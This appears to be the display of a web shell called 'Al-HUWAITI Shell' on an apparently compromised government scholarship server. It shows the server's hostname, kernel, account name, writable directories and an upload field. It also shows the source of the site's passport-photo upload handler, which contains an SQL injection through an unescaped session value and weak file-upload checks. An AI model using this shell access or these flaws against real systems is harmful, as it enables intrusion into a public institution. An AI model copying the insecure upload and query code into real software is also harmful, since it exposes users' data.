Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux 122.228.205.92.host.secureserver.net 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : ondostategov ( 1002)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/ondostategov/public_html/scholarshipboardondostate/ossms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/ondostategov/public_html/scholarshipboardondostate/ossms/process_passport.php
<?php
	include('conn.php');
	session_start();

	
	if(isset($_SESSION['user_id'])){
		$user_id = $_SESSION['user_id'];
	}
	$filename = $user_id. '.jpg';
    $uploadDir = 'uploads/';
	$savedPicture = $uploadDir . $filename;
	
	$target_file = $uploadDir . basename($_FILES["photo"]["name"]);
	$uploadOk = 1;
	$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
	if(isset($_POST["upload"])) {
		$check = getimagesize($_FILES["photo"]["tmp_name"]);
		if($check !== false) {
			echo "File is an image - " . $check["mime"] . ".";
			$uploadOk = 1;
		} else {
			$_SESSION['err_msg'] = "File is not an image.";
			header('location:dashboard_passport_photograph.php');
			$uploadOk = 0;
			
		}
	}
	
	if($savedPicture)
	{
		unlink($savedPicture);	
	}
	// Check file size
	if ($_FILES["photo"]["size"] > 200000) {
		$_SESSION['err_msg'] = "Sorry, your file is too large.";
		header('location:dashboard_passport_photograph.php');
		$uploadOk = 0;
		exit;
	}
	// Allow certain file formats
	if($imageFileType != "jpg" && $imageFileType != "jpeg" ) {
		$_SESSION['err_msg'] = "Sorry only JPG or JPEG files are allowed.";
		header('location:dashboard_passport_photograph.php');
		$uploadOk = 0;
		
	}
	
	if (move_uploaded_file($_FILES["photo"]["tmp_name"], $savedPicture)) {
			$_SESSION['success_msg'] = "Picture uploaded successfully.";
			// save path in database
			$query = "update scholarship set photo='$savedPicture' where user_id='$user_id'";
    	
    		mysqli_query($conn, $query) or die('Error, query failed');

			$_SESSION['path']=$savedPicture;
			header('location:dashboard_passport_photograph.php');
		} else {
			$_SESSION['err_msg'] = "Sorry, there was an error uploading your file.";
			header('location:dashboard_passport_photograph.php');
		}
	
?>

Al-HUWAITI Shell